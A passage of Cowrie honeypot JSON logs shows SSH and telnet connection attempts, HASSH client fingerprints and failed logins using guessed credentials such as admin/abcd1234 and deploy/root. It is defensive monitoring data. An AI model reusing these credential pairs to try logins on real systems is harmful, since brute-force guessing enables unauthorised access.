0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:19.507931Z","src_ip":"192.109.200.78","session":"1d3ad78e48cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:19.758410Z","src_ip":"192.109.200.78","session":"1d3ad78e48cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:20.843991Z","src_ip":"192.109.200.78","session":"1d3ad78e48cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47850,"dst_ip":"159.203.135.109","dst_port":22,"session":"1be10ebb592a","protocol":"ssh","message":"New connection: 159.203.92.129:47850 (159.203.135.109:22) [session: 1be10ebb592a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:23.134245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:23.139002Z","src_ip":"159.203.92.129","session":"1be10ebb592a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:23.143576Z","src_ip":"159.203.92.129","session":"1be10ebb592a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd-1234","message":"login attempt [admin/abcd-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:23.154670Z","src_ip":"159.203.92.129","session":"1be10ebb592a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:24.160748Z","src_ip":"159.203.92.129","session":"1be10ebb592a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00158190727234,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:53.189791Z","src_ip":"216.131.72.138","session":"ed81ed6c72d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":60122,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0cfd68e59d4","protocol":"telnet","message":"New connection: 216.131.72.138:60122 (159.203.135.109:23) [session: e0cfd68e59d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:53.249941Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":60132,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e09806e0564","protocol":"telnet","message":"New connection: 216.131.72.138:60132 (159.203.135.109:23) [session: 5e09806e0564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:49:56.978300Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":47088,"dst_ip":"159.203.135.109","dst_port":23,"session":"b83c72998b97","protocol":"telnet","message":"New connection: 5.42.229.203:47088 (159.203.135.109:23) [session: b83c72998b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:04.546543Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":47120,"dst_ip":"159.203.135.109","dst_port":23,"session":"75f56bf92a34","protocol":"telnet","message":"New connection: 5.42.229.203:47120 (159.203.135.109:23) [session: 75f56bf92a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:04.614816Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51786,"dst_ip":"159.203.135.109","dst_port":22,"session":"d438f4610321","protocol":"ssh","message":"New connection: 159.203.92.129:51786 (159.203.135.109:22) [session: d438f4610321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:09.089052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:09.093752Z","src_ip":"159.203.92.129","session":"d438f4610321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:09.103034Z","src_ip":"159.203.92.129","session":"d438f4610321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd.1234","message":"login attempt [admin/abcd.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:09.116757Z","src_ip":"159.203.92.129","session":"d438f4610321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:10.123491Z","src_ip":"159.203.92.129","session":"d438f4610321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.8691132068634,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:40.415520Z","src_ip":"5.42.229.203","session":"b83c72998b97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.895967960357666,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:40.510574Z","src_ip":"5.42.229.203","session":"75f56bf92a34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45536,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ebd9259bc95","protocol":"ssh","message":"New connection: 159.203.92.129:45536 (159.203.135.109:22) [session: 3ebd9259bc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:53.432548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:53.437480Z","src_ip":"159.203.92.129","session":"3ebd9259bc95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:53.441768Z","src_ip":"159.203.92.129","session":"3ebd9259bc95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd1234","message":"login attempt [admin/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:53.453696Z","src_ip":"159.203.92.129","session":"3ebd9259bc95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:50:54.479346Z","src_ip":"159.203.92.129","session":"3ebd9259bc95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54070,"dst_ip":"159.203.135.109","dst_port":22,"session":"8abd6696d37c","protocol":"ssh","message":"New connection: 159.203.92.129:54070 (159.203.135.109:22) [session: 8abd6696d37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:51:38.137959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:51:38.142182Z","src_ip":"159.203.92.129","session":"8abd6696d37c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:51:38.145916Z","src_ip":"159.203.92.129","session":"8abd6696d37c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd@1234","message":"login attempt [admin/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:51:38.159337Z","src_ip":"159.203.92.129","session":"8abd6696d37c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:51:39.165997Z","src_ip":"159.203.92.129","session":"8abd6696d37c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01123142242432,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:51:53.261009Z","src_ip":"216.131.72.138","session":"e0cfd68e59d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00488352775574,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:51:56.983038Z","src_ip":"216.131.72.138","session":"5e09806e0564","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":59114,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc529a427b1","protocol":"telnet","message":"New connection: 216.131.72.138:59114 (159.203.135.109:23) [session: ddc529a427b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:51:57.049601Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32918,"dst_ip":"159.203.135.109","dst_port":22,"session":"439322a2bfb4","protocol":"ssh","message":"New connection: 159.203.92.129:32918 (159.203.135.109:22) [session: 439322a2bfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:52:22.676704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:52:22.681367Z","src_ip":"159.203.92.129","session":"439322a2bfb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:52:22.685881Z","src_ip":"159.203.92.129","session":"439322a2bfb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd@123456","message":"login attempt [admin/abcd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:52:22.696587Z","src_ip":"159.203.92.129","session":"439322a2bfb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:52:23.705186Z","src_ip":"159.203.92.129","session":"439322a2bfb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52028,"dst_ip":"159.203.135.109","dst_port":22,"session":"6172934c9598","protocol":"ssh","message":"New connection: 159.203.92.129:52028 (159.203.135.109:22) [session: 6172934c9598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:05.206112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:05.211721Z","src_ip":"159.203.92.129","session":"6172934c9598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:05.222563Z","src_ip":"159.203.92.129","session":"6172934c9598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"action863467","message":"login attempt [admin/action863467] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:05.236820Z","src_ip":"159.203.92.129","session":"6172934c9598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:06.251664Z","src_ip":"159.203.92.129","session":"6172934c9598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21078,"dst_ip":"10.17.0.5","dst_port":22,"session":"d01cbd98fd28","protocol":"ssh","message":"New connection: 87.251.64.176:21078 (10.17.0.5:22) [session: d01cbd98fd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:08.887389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:53:08.892033Z","src_ip":"87.251.64.176","session":"d01cbd98fd28","protocol":"ssh"}
